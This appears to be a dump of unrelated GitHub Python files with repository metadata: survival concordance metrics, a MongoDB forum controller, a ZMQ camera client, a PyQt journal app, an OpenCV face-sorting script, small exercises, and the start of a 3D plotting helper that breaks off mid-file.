(self.concordant + self.discordant + self.tiedrisks)\n )\n + 1\n ) / 2\n\n\nclass SomersD(ConcordanceMetric):\n \"\"\"Calculates Somer's d statistic for right-censored data. A scaled version\n of Harrell's concordance index with range [-1, 1]. Pairs of uncensored samples\n with tied times are ignored, and other pairs of samples with tied predictions\n are are counted as 1/2 correct.\n\n Returns\n -------\n d : float\n Proportion of concordant pairs among all orderable pairs scaled and\n centered at zero. Range [-1, 1].\n\n Notes\n -----\n Reference R package:\n https://cran.r-project.org/web/packages/survival/vignettes/concordance.pdf\n \"\"\"\n\n def __init__(self, name=\"sommersd\", parallel_iterations=16, **kwargs):\n super().__init__(name=name, parallel_iterations=parallel_iterations, **kwargs)\n\n def result(self): # pragma: no cover\n return (self.concordant - self.discordant) / (\n self.concordant + self.discordant + self.tiedrisks\n )\n\n\nclass GoodmanKruskalGamma(ConcordanceMetric):\n \"\"\"Calculates Goodman and Kruskal's gamma statistic for right-censored data.\n Tied times or risks are ignored.\n\n Returns\n -------\n gamma : float\n Proportion of concordant pairs among all orderable pairs scaled and\n centered at zero. Range [-1, 1].\n\n Notes\n -----\n Reference R package:\n https://cran.r-project.org/web/packages/survival/vignettes/concordance.pdf\n \"\"\"\n\n def __init__(self, name=\"goodmankruskalgamma\", parallel_iterations=16, **kwargs):\n super().__init__(name=name, parallel_iterations=parallel_iterations, **kwargs)\n\n def result(self): # pragma: no cover\n return (self.concordant - self.discordant) / (self.concordant + self.discordant)\n\n\nclass KendallTauA(ConcordanceMetric):\n \"\"\"Calculates Kendall's tau (a) for right-censored data. Pairs with tied\n times, tied risks, or both are counted as failures.\n\n Returns\n -------\n tau : float\n Proportion of concordant pairs among all orderable pairs scaled and\n centered at zero with tied risks and tied times pairs counting as\n errors. Range [-1, 1].\n\n See Also\n --------\n vectorized_concordance : Generates concordance data\n kendall_tau_b : b-version of Kendall's tau rank correlation.\n Notes\n -----\n Reference R package:\n https://cran.r-project.org/web/packages/survival/vignettes/concordance.pdf\n \"\"\"\n\n def __init__(self, name=\"kendalltaua\", parallel_iterations=16, **kwargs):\n super().__init__(name=name, parallel_iterations=parallel_iterations, **kwargs)\n\n def result(self): # pragma: no cover\n return (self.concordant - self.discordant) / (\n self.concordant + self.discordant + self.tiedrisks + self.tiedtimes\n )\n\n\nclass KendallTauB(ConcordanceMetric):\n \"\"\"Calculates Kendall's tau (b) for right-censored data. Pairs with tied\n times or tied risks are counted as failures (ties are symmetrized).\n\n Returns\n -------\n tau : float\n Proportion of concordant pairs among all orderable pairs scaled and centered\n at zero. Range [-1, 1].\n\n Notes\n -----\n Reference R package:\n https://cran.r-project.org/web/packages/survival/vignettes/concordance.pdf\n \"\"\"\n\n def __init__(self, name=\"kendalltaub\", parallel_iterations=16, **kwargs):\n super().__init__(name=name, parallel_iterations=parallel_iterations, **kwargs)\n\n def result(self): # pragma: no cover\n return tf.cast(self.concordant - self.discordant, tf.float32) / tf.pow(\n tf.cast(\n (self.concordant + self.discordant + self.tiedrisks)\n * (self.concordant + self.discordant + self.tiedtimes),\n tf.float32,\n ),\n 0.5,\n )\n","repo_name":"liushangke/Attention-Based-Interpretable-Survival-Analysis","sub_path":"survivalnet2-dev/survivalnet2/metrics/concordance.py","file_name":"concordance.py","file_ext":"py","file_size_in_byte":11580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28370726754","text":"# 22. Leia um valor em km, calcule e escreva o equivalente em m\r\n\r\n# Entrada\r\nkm = int(input('Digite em valor em Km: '))\r\n\r\n# Processamento\r\nmetros = km * 1000\r\n\r\n# Saída\r\nprint(f'{km} Km é equivalente à {metros} m')\r\n","repo_name":"marceloigor/ifpi-ads-algoritmos2020","sub_path":"Fabio01_Parte01/q22 valor em km equivalente em m.py","file_name":"q22 valor em km equivalente em m.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"442732662","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nfrom ..background import BackFunction\n\n\nclass Selection(BackFunction):\n def __init__(self, *,\n random_group=False, selection_shuffle=False):\n super(Selection, self).__init__()\n self._random_group = random_group\n self._selection_shuffle = selection_shuffle\n\n @staticmethod\n def _split_data(weights, data):\n c_weights = [len(data) * x for x in weights]\n slices = [int(sum(c_weights[:i])) for i in range(1, len(c_weights))]\n return np.split(data, slices)\n \n def _run(self, population):\n if not self._methods:\n raise ValueError('selection is not assigned')\n if not self.is_compiled:\n raise ValueError('compile is required before run')\n survivors = []\n remains = population[:]\n methods, weights = zip(*self._methods.values())\n if self._random_group:\n np.random.shuffle(remains)\n for method, data in zip(methods, self._split_data(weights, remains)):\n survivors.extend(method.run(data))\n if self._selection_shuffle:\n np.random.shuffle(survivors)\n return survivors\n \n def run(self, population):\n raise NotImplementedError()\n\n\nclass ParentSelection(Selection):\n def run(self, population):\n try:\n survivors = self._run(population)\n while len(survivors) >= 2:\n yield survivors.pop(0), survivors.pop(0)\n except Exception as e:\n print(\"### error on parent selection process.\")\n print(e)\n\n\nclass SurvivorSelection(Selection):\n def __init__(self, *, const_population_size=None,\n random_group=False, selection_shuffle=False):\n super(SurvivorSelection, self).__init__(random_group=random_group,\n selection_shuffle=selection_shuffle)\n self._const_population_size = const_population_size\n \n def run(self, population):\n try:\n survivors = self._run(population)\n if self._const_population_size:\n remains = population[:]\n while len(survivors) < self._const_population_size:\n remains = list(set(remains) - set(survivors))\n survivors.extend(self._run(remains))\n survivors = survivors[:self._const_population_size]\n return survivors\n except Exception as e:\n print(\"### error on survivor selection process.\")\n print(e)\n","repo_name":"epirevolve/eart","sub_path":"eart/selections/selection.py","file_name":"selection.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16773340610","text":"\"\"\"\n This module provides an interface to the database. \n\"\"\"\n\nfrom app_factory import mongo\nfrom random import choice\n\n\"\"\"\n MogoDB data structure:\n Collections:\n * sections\n {\n _id: ObjectId(...),\n \"title\": \"Forum\",\n \"section_id\": \"...\",\n \"categories\": [\n \"category_id\",\n \"category_id\",\n \"category_id\"\n ]\n }\n * categories\n {\n _id: ObjectId(...),\n \"title\": \"Unity\",\n \"category_id\": \"...\",\n \"parent_section_id\": \"...\",\n \"threads\": [\n \"thread_id\",\n \"thread_id\",\n \"thread_id\"\n ]\n }\n * threads\n {\n _id: ObjectId(...),\n \"title\": \"How to multiply two Vector3s\",\n \"thread_id\": \"...\",\n \"parent_category_id\": \"...\",\n \"posts\": [\n \"post_id\",\n \"post_id\",\n \"post_id\"\n ]\n }\n * posts\n {\n _id: ObjectId(...),\n \"author\": \"...\",\n \"content\": \"...\",\n \"post_id\": \"...\",\n \"parent_thread_id\": \"...\",\n \"creation_date\": \"...\",\n \"last_edit_date\": \"...\"\n }\n\n Note: _id is a internal MongoDB generated field that should not be sent to the client.\n\n Controller requirements checklist:\n [✔] get categories\n [✔] get threads\n [✔] get posts\n [✔] create category\n [✔] create thread\n [✔] create post\n [✔] update category\n [✔] update thread\n [✔] upate post\n [✔] delete category\n [✔] delete thread\n [✔] delete post\n\"\"\"\n\n\"\"\"\n Field projection maps\n\n Projection maps specify whether a field should be included or excluded from queries.\n 1 - include\n 0 - exclude\n\"\"\"\nsection_projection_map = {\n \"_id\": 0,\n \"title\": 1,\n \"section_id\": 1,\n \"categories\": 1\n}\ncategory_projection_map = {\n \"_id\": 0,\n \"title\": 1,\n \"category_id\": 1,\n \"parent_section_id\": 1,\n \"threads\": 1\n}\nthread_projection_map = {\n \"_id\": 0,\n \"title\": 1,\n \"thread_id\": 1,\n \"parent_category_id\": 1,\n \"posts\": 1\n}\npost_projection_map = {\n \"_id\": 0,\n \"author\": 1,\n \"content\": 1,\n \"post_id\": 1,\n \"parent_thread_id\": 1,\n \"creation_date\": 1,\n \"last_edit_date\": 1\n}\n\nID_CHAR_COUNT = 10\n\n# custom exception classes\nclass NoSuchElementException(Exception):\n \"\"\"\n Used when the requested element is not found in the database.\n \"\"\"\n pass\n\ndef generate_random_id(length: int) -> str:\n \"\"\"\n Generates a random alpha-numeric string of length characters.\n \"\"\"\n while True:\n id = \"\"\n for x in range(length):\n is_letter = choice([True, False])\n if is_letter:\n id += choice(list(\"abcdefghijklmnopqrstuvwxyz\"))\n else:\n id += choice(list(\"0123456789\"))\n # prevent id from conflicting with /threads/new or /categories/new routes\n if not id == \"new\":\n return id\n\ndef get_categories_in_section(section_name: str, limit: int, skip: int = 0, filter = None) -> list:\n \"\"\"\n Returns a list of limit categories in the section or None if the section does not exist.\n If specified, skip makes the controller skip n amount of entries allowing the user to page content.\n The filter field which takes in a category id, is optional and can be used to return a list that contains\n info about the category with the specified id only.\n \"\"\"\n section = mongo.db.sections.find_one({\"title\": section_name})\n if section is None:\n raise NoSuchElementException(f\"section called {section_name} does not exist\")\n section_id = section[\"section_id\"]\n\n if filter is None:\n return list(mongo.db.categories.find({\"parent_section_id\": section_id}, category_projection_map).skip(skip).limit(limit))\n else:\n return list(mongo.db.categories.find({\"parent_section_id\": section_id, \"category_id\": filter}, category_projection_map).limit(1))\n\ndef get_threads_in_category(category_id: str, limit: int, skip: int = 0, filter: str = None) -> list:\n \"\"\"\n Returns a list of limit threads in the category.\n If specified, skip makes the controller skip n amount of entries allowing the user to page content.\n The filter field which takes in a thread id, is optional and can be used to return a list that contains\n info about the thread with the specified id only.\n \"\"\"\n category = mongo.db.categories.find_one({\"category_id\": category_id})\n if category is None:\n raise NoSuchElementException(f\"category with id {category_id} does not exist\")\n\n if filter is None:\n return list(mongo.db.threads.find({\"parent_category_id\": category_id}, thread_projection_map).skip(skip).limit(limit))\n else:\n return list(mongo.db.threads.find({\"parent_category_id\": category_id, \"thread_id\": filter}, thread_projection_map).limit(1))\n\ndef get_posts_in_thread(thread_id: str, limit: int, skip: int = 0, filter: str = None) -> list:\n \"\"\"\n Returns a list of limit posts in the thread.\n If specified, skip makes the controller skip n amount of entries allowing the user to page content.\n The filter field which takes in a post id, is optional and can be used to return a list that contains\n info about the post with the specified id only.\n \"\"\"\n thead = mongo.db.threads.find_one({\"thread_id\": thread_id})\n if thead is None:\n raise NoSuchElementException(f\"thread called {thread_id} does not exist\")\n \n if filter is None:\n return list(mongo.db.posts.find({\"parent_thread_id\": thread_id}, post_projection_map).skip(skip).limit(limit))\n else:\n return list(mongo.db.posts.find({\"parent_thread_id\": thread_id, \"post_id\": filter}, post_projection_map).limit(1))\n \ndef create_category(title: str, section_name: str) -> str:\n \"\"\"\n Creates a category in the section.\n\n Returns the category id.\n\n Raises NoSuchElementException if section does not exist.\n Raises ValueError if\n \"\"\"\n # check if parent section exists\n parent_section = mongo.db.sections.find_one({\"title\": section_name})\n if parent_section is None:\n raise NoSuchElementException(f\"section called {section_name} does not exist\")\n \n # validate input\n if title is None or len(title) == 0:\n raise ValueError(\"title cannot be empty\")\n\n # create category\n category_id = generate_random_id(ID_CHAR_COUNT)\n category = {\n \"title\": title,\n \"category_id\": category_id,\n \"parent_section_id\": parent_section[\"section_id\"],\n \"threads\": []\n }\n mongo.db.categories.insert_one(category)\n\n # insert category into section\n mongo.db.sections.update_one({\"title\": section_name}, {\"$push\": {\"categories\": category_id}})\n \n return category_id\n\ndef create_thread(title: str, category_id: str) -> str:\n \"\"\"\n Creates a thread in the category.\n\n Returns the thread id.\n\n Raises NoSuchElementException if category does not exist.\n \"\"\"\n # check if parent category exists\n parent_category = mongo.db.categories.find_one({\"category_id\": category_id})\n if parent_category is None:\n raise NoSuchElementException(f\"category called {category_id} does not exist\")\n\n # validate input\n if title is None or len(title) == 0:\n raise ValueError(\"title cannot be empty\")\n \n # create thread\n thread_id = generate_random_id(ID_CHAR_COUNT)\n thread = {\n \"title\": title,\n \"thread_id\": thread_id,\n \"parent_category_id\": parent_category[\"category_id\"],\n \"posts\": []\n }\n mongo.db.threads.insert_one(thread)\n\n # insert thread into category\n mongo.db.categories.update_one({\"category_id\": parent_category[\"category_id\"]}, {\"$push\": {\"threads\": thread_id}})\n\n return thread_id\n\ndef create_post(author: str, content: str, creation_date: str, thread_id: str) -> str:\n \"\"\"\n Creates a post in the thread.\n\n Returns the post id.\n\n Raises NoSuchElementException if thread does not exist.\n \"\"\"\n # check if thread exists\n parent_thread = mongo.db.threads.find_one({\"thread_id\": thread_id})\n if parent_thread is None:\n raise NoSuchElementException(f\"thread called {thread_id} does not exist\")\n \n # validate input\n if author is None or len(author) == 0:\n raise ValueError(\"author cannot be empty\")\n if content is None or len(content) == 0:\n raise ValueError(\"content cannot be empty\")\n if creation_date is None or len(creation_date) == 0:\n raise ValueError(\"creation_date cannot be empty\")\n\n # create post\n post_id = generate_random_id(ID_CHAR_COUNT)\n post = {\n \"author\": author,\n \"content\": content,\n \"post_id\": post_id,\n \"parent_thread_id\": parent_thread[\"thread_id\"],\n \"creation_date\": creation_date,\n \"last_edit_date\": creation_date\n }\n mongo.db.posts.insert_one(post)\n\n # insert post into thread\n mongo.db.threads.update_one({\"thread_id\": parent_thread[\"thread_id\"]}, {\"$push\": {\"posts\": post_id}})\n\n return post_id\n\ndef update_category(category_id: str, new_data: str) -> None:\n \"\"\"\n Updates the category data by overwriting fields with new_data.\n\n Raises NoSuchElementException if category does not exist.\n \"\"\"\n # check if category exists\n category = mongo.db.categories.find_one({\"category_id\": category_id})\n if category is None:\n raise NoSuchElementException(f\"category called {category_id} does not exist\")\n\n # validate input\n if new_data is None or len(new_data) == 0:\n raise ValueError(\"new_data cannot be empty\") \n \n # filter fields\n to_update = {}\n if \"title\" in new_data:\n if new_data[\"title\"] is None or len(new_data[\"title\"]) == 0:\n raise ValueError(\"new_data.title cannot be empty\")\n to_update[\"title\"] = new_data[\"title\"]\n if len(to_update) == 0:\n raise ValueError(\"new_data has no valid fields\")\n\n # update category\n mongo.db.categories.update_one({\"category_id\": category_id}, {\"$set\": to_update})\n\ndef update_thread(thread_id: str, new_data: dict) -> None:\n \"\"\"\n Updates the thread data by overwriting fields with new_data.\n\n Raises NoSuchElementException if thread does not exist.\n \"\"\"\n # check if thread exists\n thread = mongo.db.threads.find_one({\"thread_id\": thread_id})\n if thread is None:\n raise NoSuchElementException(f\"thread called {thread_id} does not exist\")\n\n # validate input\n if new_data is None or len(new_data) == 0:\n raise ValueError(\"new_data cannot be empty\") \n \n # filter fields\n to_update = {}\n if \"title\" in new_data:\n if new_data[\"title\"] is None or len(new_data[\"title\"]) == 0:\n raise ValueError(\"new_data.title cannot be empty\")\n to_update[\"title\"] = new_data[\"title\"]\n if len(to_update) == 0:\n raise ValueError(\"new_data has no valid fields\")\n\n # update thread\n mongo.db.threads.update_one({\"thread_id\": thread_id}, {\"$set\": to_update})\n\ndef update_post(post_id: str, new_data: dict) -> None:\n \"\"\"\n Updates the post data by overwriting fields with new_data.\n\n Raises NoSuchElementException if post does not exist.\n \"\"\"\n # check if post exists\n post = mongo.db.posts.find_one({\"post_id\": post_id})\n if post is None:\n raise NoSuchElementException(f\"post called {post_id} does not exist\")\n\n # validate input\n if new_data is None or len(new_data) == 0:\n raise ValueError(\"new_data cannot be empty\") \n \n # filter fields\n to_update = {}\n if \"content\" in new_data:\n if new_data[\"content\"] is None or len(new_data[\"content\"]) == 0:\n raise ValueError(\"new_data.content cannot be empty\")\n to_update[\"content\"] = new_data[\"content\"]\n if \"last_edit_date\" in new_data:\n if new_data[\"last_edit_date\"] is None or len(new_data[\"last_edit_date\"]) == 0:\n raise ValueError(\"new_data.last_edit_date cannot be empty\")\n to_update[\"last_edit_date\"] = new_data[\"last_edit_date\"]\n if len(to_update) == 0:\n raise ValueError(\"new_data has no valid fields\")\n\n # update post\n mongo.db.posts.update_one({\"post_id\": post_id}, {\"$set\": to_update})\n\ndef delete_post(post_id: str) -> None:\n \"\"\"\n Deletes the post.\n\n Raises NoSuchElementException if post does not exist.\n \"\"\"\n # check if post exists\n post = mongo.db.posts.find_one({\"post_id\": post_id})\n if post is None:\n raise NoSuchElementException(f\"post called {post_id} does not exist\")\n\n # remove post from thread\n mongo.db.threads.update_one({\"thread_id\": post[\"parent_thread_id\"]}, {\"$pull\": {\"posts\": post_id}})\n\n # delete post\n mongo.db.posts.delete_one({\"post_id\": post_id})\n\ndef delete_thread(thread_id: str) -> None:\n \"\"\"\n Deletes the thread and all its posts.\n\n Raises NoSuchElementException if thread does not exist.\n \"\"\"\n # check if thread exists\n thread = mongo.db.threads.find_one({\"thread_id\": thread_id})\n if thread is None:\n raise NoSuchElementException(f\"thread called {thread_id} does not exist\")\n\n # delete posts\n for post in thread[\"posts\"]:\n delete_post(post)\n\n # remove thread from category\n mongo.db.categories.update_one({\"category_id\": thread[\"parent_category_id\"]}, {\"$pull\": {\"threads\": thread_id}})\n\n # delete thread\n mongo.db.threads.delete_one({\"thread_id\": thread_id})\n\ndef delete_category(category_id: str) -> None:\n \"\"\"\n Deletes the category and all its threads and posts.\n\n Raises NoSuchElementException if category does not exist.\n \"\"\"\n # check if category exists\n category = mongo.db.categories.find_one({\"category_id\": category_id})\n if category is None:\n raise NoSuchElementException(f\"category called {category_id} does not exist\")\n\n # delete threads\n for thread_id in category[\"threads\"]:\n delete_thread(thread_id)\n\n # remove category from section\n mongo.db.sections.update_one({\"section_id\": category[\"parent_section_id\"]}, {\"$pull\": {\"categories\": category_id}})\n \n # delete category\n mongo.db.categories.delete_one({\"category_id\": category_id})","repo_name":"unizd-sit-web/GameDeveloperForum-zavrsni","sub_path":"db_controller.py","file_name":"db_controller.py","file_ext":"py","file_size_in_byte":14851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4857920956","text":"from django.urls import path\nfrom .views import index, about,view_hr,detail_hr\n\nurlpatterns = [\n path('', index, name='index'),\n path('about/', about, name='about'),\n # step 2\n path('hr/view',view_hr, name='view_hr'),\n # step x\n path('hr/detail/',detail_hr, name='detail_hr'),\n]","repo_name":"zaid-kamil/website_example_x","sub_path":"app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36066857271","text":"import re\nimport sys\nimport zmq\nimport json\nimport time\nimport copy\n\nclass CameraZMQClient(object):\n \"\"\"\n Object handling communication with external server.\n Communication is done via json string communication\n \"\"\"\n\n POLLER_NUM = 5 # number of poll attempts before a timeout\n POLLER_DELAY = 200 # TIME IN ms\n\n EXPOSURE = \"Exposure\"\n GAIN = \"Gain\"\n\n # communication\n REQUEST_CMD = \"cmd\"\n REQUEST_READ = \"read\"\n REQUEST_CHANGE = \"change\"\n REQUEST_PARAMS = \"parameters\"\n\n def __init__(self, zmqserver):\n self.server = zmqserver\n\n self._error = False\n\n # prepare server\n self.prepServer()\n\n def prepServer(self):\n \"\"\"\n Performs a test of the\n :return:\n \"\"\"\n p = re.compile(\"^tcp://.*:[0-9]+$\")\n if not p.match(self.server):\n self.handle_error()\n raise ValueError(\"ZMQ server format ({}) is invalid\".format(self.server))\n\n def send_data(self, data=None, breport=False, bread=False):\n \"\"\"\n Sends data\n :param data:\n :return:\n \"\"\"\n if self.is_error():\n return\n\n if not isinstance(data, dict) and not bread:\n return\n\n if data is not None:\n packet = self.prep_packet(data)\n elif bread:\n packet = self.prep_read()\n else:\n return\n\n # setup ZMQ, make a test\n context = zmq.Context()\n socket = context.socket(zmq.REQ)\n socket.setsockopt(zmq.LINGER, 0)\n\n socket.connect(self.server)\n\n # use poll for timeouts:\n poller = zmq.Poller()\n poller.register(socket, zmq.POLLIN)\n\n # send data\n socket.send_json(packet) # send can block on other socket types, so keep track\n\n # wait for a response\n cnt = 0\n msg = \"\"\n try:\n while True:\n if cnt == self.POLLER_NUM:\n raise IOError(\"Timeout processing auth request\")\n if poller.poll(self.POLLER_DELAY): # 1s timeout in milliseconds\n msg = socket.recv_string()\n msg = json.loads(msg)\n\n if breport:\n print(\"Sent a packet: {}\\nReceived a response: {}\\n\".format(packet, msg))\n raise ValueError\n cnt += 1\n except IOError as e:\n self.handle_error(e)\n except json.JSONDecodeError as e:\n self.handle_error(\"Cannot decode json response ({}): {}\".format(msg, e))\n except ValueError:\n pass\n\n poller.unregister(socket)\n socket.close()\n context.term()\n\n def read_data(self, breport=False):\n \"\"\"\n Simplified function call\n :return:\n \"\"\"\n self.send_data(bread=True, breport=breport)\n\n def handle_error(self, msg=None):\n \"\"\"\n Handles error\n :return:\n \"\"\"\n self._error = True\n if msg is not None:\n print(msg)\n\n def is_error(self):\n \"\"\"\n Returns error state\n :return:\n \"\"\"\n return self._error\n\n def prep_packet(self, data):\n \"\"\"\n Prepares a packet to send out\n :param data:\n :return:\n \"\"\"\n return {self.REQUEST_CMD: self.REQUEST_CHANGE, self.REQUEST_PARAMS: copy.deepcopy(data)}\n\n def prep_read(self):\n \"\"\"\n Prepares a packet to read out data\n :return:\n \"\"\"\n return {self.REQUEST_CMD: self.REQUEST_READ}\n\ndef main():\n z = CameraZMQClient(\"tcp://131.169.45.56:5555\")\n z.read_data(breport=True)\n z.send_data({z.EXPOSURE: 1000., z.GAIN: 15}, breport=True)\n\nif __name__ == \"__main__\":\n main()","repo_name":"DESY-Petra-III/VimbaCamApp","sub_path":"examples_remote_access/polling_camera_client.py","file_name":"polling_camera_client.py","file_ext":"py","file_size_in_byte":3749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19108346686","text":"#!/usr/bin/env python3\n\n# HackerRank: Designer Doormat\n# Practice > Python > Strings\n# https://www.hackerrank.com/challenges/designer-door-mat/problem\n\nimport sys\n\n\ndef main():\n n = int(input('Enter height of doormat (must be odd): '))\n if n % 2 == 0:\n print('Number must be odd', file=sys.stderr)\n return\n m = n * 3\n for i in range(1, (n // 2) + 1):\n print(line_pattern(m, i))\n print('Welcome to /r/Christianity - Please leave your bigotry by the door'.center(m, '-'))\n for i in range(n // 2, 0, -1):\n print(line_pattern(m, i))\n\n\ndef line_pattern(m, i):\n length = i * 2 - 1\n return '{0}{1}{0}'.format('-' * ((m - length * 3) // 2), '.|.' * length)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"adjl/competitive-programming","sub_path":"Strings/HackerRank/designer_doormat.py","file_name":"designer_doormat.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33969625600","text":"import sys\nimport random\nimport os\nfrom time import time\nfrom PyQt5.QtWidgets import QApplication, QWidget, QFileDialog, QTextEdit\nfrom PyQt5.uic import loadUi\n\n\nclass Jurnal(QWidget):\n ROOT_DIR = os.path.dirname(os.path.abspath(__file__))\n\n def __init__(self):\n super(Jurnal, self).__init__()\n ui_path = os.path.join(self.ROOT_DIR, 'jurnal.ui')\n loadUi(ui_path, self)\n\n self.load_btn.clicked.connect(self.loadText)\n self.save_btn.clicked.connect(self.saveText)\n\n with open('citate.txt', 'r') as f:\n quotes = f.readlines()\n self.quote = random.choice(quotes)\n self.citat.setText(self.quote)\n\n def loadText(self):\n filename, _ = QFileDialog.getOpenFileName(self, 'Open File')\n if filename:\n with open(filename, 'r') as f:\n self.intrare_jurnal.setPlainText(f.read())\n\n def saveText(self):\n filename, _ = QFileDialog.getSaveFileName(self, 'Save File', f'{time()}.txt')\n if filename:\n with open(filename, 'w') as f:\n f.write(self.intrare_jurnal.toPlainText())\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n jurnal = Jurnal()\n jurnal.show()\n sys.exit(app.exec_())","repo_name":"ShockWave1321/PP_Lab","sub_path":"tema5/Lab_ex2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8517281284","text":"import cv2\nimport os\nimport matplotlib.pyplot as plt\n\ndef check_has_face_image(imagePath, cascPath):\n # Check if the XML file exists\n if not os.path.isfile(cascPath):\n print(f\"Error: Cascade file not found at {cascPath}\")\n return\n\n # Create a CascadeClassifier\n faceCascade = cv2.CascadeClassifier(cascPath)\n\n # Check if the CascadeClassifier was loaded successfully\n if faceCascade.empty():\n print(f\"Error: CascadeClassifier not loaded successfully from {cascPath}\")\n return\n\n # Read the image\n image = cv2.imread(imagePath)\n\n # Check if the image is loaded successfully\n if image is None:\n print(f\"Error: Unable to load image from {imagePath}\")\n return\n\n # Convert the image to grayscale\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n # Detect faces in the image\n faces = faceCascade.detectMultiScale(\n gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30),\n flags=cv2.CASCADE_SCALE_IMAGE\n )\n print(f\"Found {len(faces)} faces!\")\n if(faces > 0):\n return True\n\n # # Draw rectangles around the faces\n # for (x, y, w, h) in faces:\n # cv2.rectangle(image, (x, y), (x+w, y+h), (0, 255, 0), 2)\n\n # # Display the image with rectangles around faces\n # plt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))\n # plt.axis(\"off\")\n # plt.show()\n\n# Provide the full paths to the image and XML file\ncascPath = os.path.abspath('./haarcascade_frontalface_default.xml')\n\n\n# Thư mục chứa các tệp tin ảnh\nimg_directory = './output/frame_1'\nimg_directory_err = './output/frame_0'\n\n# Lấy danh sách tên tệp tin trong thư mục img_directory\nimg_files = set([os.path.splitext(file) for file in os.listdir(img_directory)])\n\nfor filename in img_files:\n print(filename)\n # Di chuyển tệp tin vào thư mục đích\n imagePath = os.path.join(img_directory, filename)\n new_img_file_path = os.path.join(img_directory_err, filename + '.jpg')\n if not check_has_face_image(imagePath, cascPath):\n os.rename(imagePath, new_img_file_path)\n # if os.path.isfile(imagePath):\n # os.remove(imagePath)\n \n ","repo_name":"Moobbot2/camera","sub_path":"check_face.py","file_name":"check_face.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11529771935","text":"import sys\r\ninput = sys.stdin.readline\r\nn = int(input())\r\ncnt=n; ret=''\r\n\r\nfor i in range(n):\r\n txt = input()[:-1]; ret=''\r\n for j in range(len(txt)):\r\n if j>0:\r\n if ret[len(ret)-1] != txt[j] and txt[j] in ret:\r\n cnt-=1; break\r\n else: ret += txt[j]\r\n else:\r\n ret += txt[j]\r\nprint(cnt)","repo_name":"Gongchaeyeon/Algorithm-Study","sub_path":"백준/Silver/1316. 그룹 단어 체커/그룹 단어 체커.py","file_name":"그룹 단어 체커.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24954620434","text":"import numpy as np\nimport pandas as pd\n# import open3d as o3\nimport tqdm\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport math\nimport matplotlib as mpl\nimport time\n\n\ndef scatter_3d(trial_1, trial_2, orgnizer,size = 100,edgecolor = 'black',save = False):\n fig = plt.figure(figsize=(30,10))\n ax1 = fig.add_subplot(131,projection='3d')\n ax1.scatter(orgnizer[orgnizer[trial_1]==1]['x'],\n orgnizer[orgnizer[trial_1]==1]['y'],\n -orgnizer[orgnizer[trial_1]==1]['z'],\n c='red',\n s=size,\n edgecolors=edgecolor) # source\n plt.title('1st image cells')\n ax2 = fig.add_subplot(132,projection='3d')\n ax2.scatter(orgnizer[orgnizer[trial_2]==1]['x'],\n orgnizer[orgnizer[trial_2]==1]['y'],\n -orgnizer[orgnizer[trial_2]==1]['z'],\n c='green',\n s=size,\n edgecolors=edgecolor) # source\n plt.title('2nd image cells')\n ax3 = fig.add_subplot(133,projection='3d')\n ax3.scatter(orgnizer[(orgnizer[trial_2]==0)&(orgnizer[trial_1]==1)]['x'],\n orgnizer[(orgnizer[trial_2]==0)&(orgnizer[trial_1]==1)]['y'],\n -orgnizer[(orgnizer[trial_2]==0)&(orgnizer[trial_1]==1)]['z'],\n c='red',\n s=size,\n edgecolors=edgecolor)\n ax3.scatter(orgnizer[(orgnizer[trial_2]==1)&(orgnizer[trial_1]==0)]['x'],\n orgnizer[(orgnizer[trial_2]==1)&(orgnizer[trial_1]==0)]['y'],\n -orgnizer[(orgnizer[trial_2]==1)&(orgnizer[trial_1]==0)]['z'],\n c='green',\n s=size,\n edgecolors=edgecolor)\n ax3.scatter(orgnizer[(orgnizer[trial_2]==1)&(orgnizer[trial_1]==1)]['x'],\n orgnizer[(orgnizer[trial_2]==1)&(orgnizer[trial_1]==1)]['y'],\n -orgnizer[(orgnizer[trial_2]==1)&(orgnizer[trial_1]==1)]['z'],\n c='yellow',\n s=size,\n edgecolors=edgecolor) # source\n y_unique = [0,1,2]\n color = ['red','green','yellow']\n label = [trial_1 + \" cells\",trial_2 + \" cells\",'Co-expressed cells']\n legend_lines = [mpl.lines.Line2D([0], [0], linestyle=\"none\", marker='o', c=color[y]) for y in y_unique]\n legend_labels = [label[y] for y in y_unique]\n ax3.legend(legend_lines, legend_labels, numpoints=1, title='Method',loc='upper right')\n \n plt.title('merged')\n ax1.w_xaxis.set_pane_color((1.0, 1.0, 1.0, 0.0))\n ax1.w_yaxis.set_pane_color((1.0, 1.0, 1.0, 0.0))\n ax1.w_zaxis.set_pane_color((1.0, 1.0, 1.0, 0.0))\n ax1.set_xlabel('X(µm)')\n ax1.set_ylabel('Y(µm)')\n ax1.set_zlabel('Z(µm)')\n ax2.w_xaxis.set_pane_color((1.0, 1.0, 1.0, 0.0))\n ax2.w_yaxis.set_pane_color((1.0, 1.0, 1.0, 0.0))\n ax2.w_zaxis.set_pane_color((1.0, 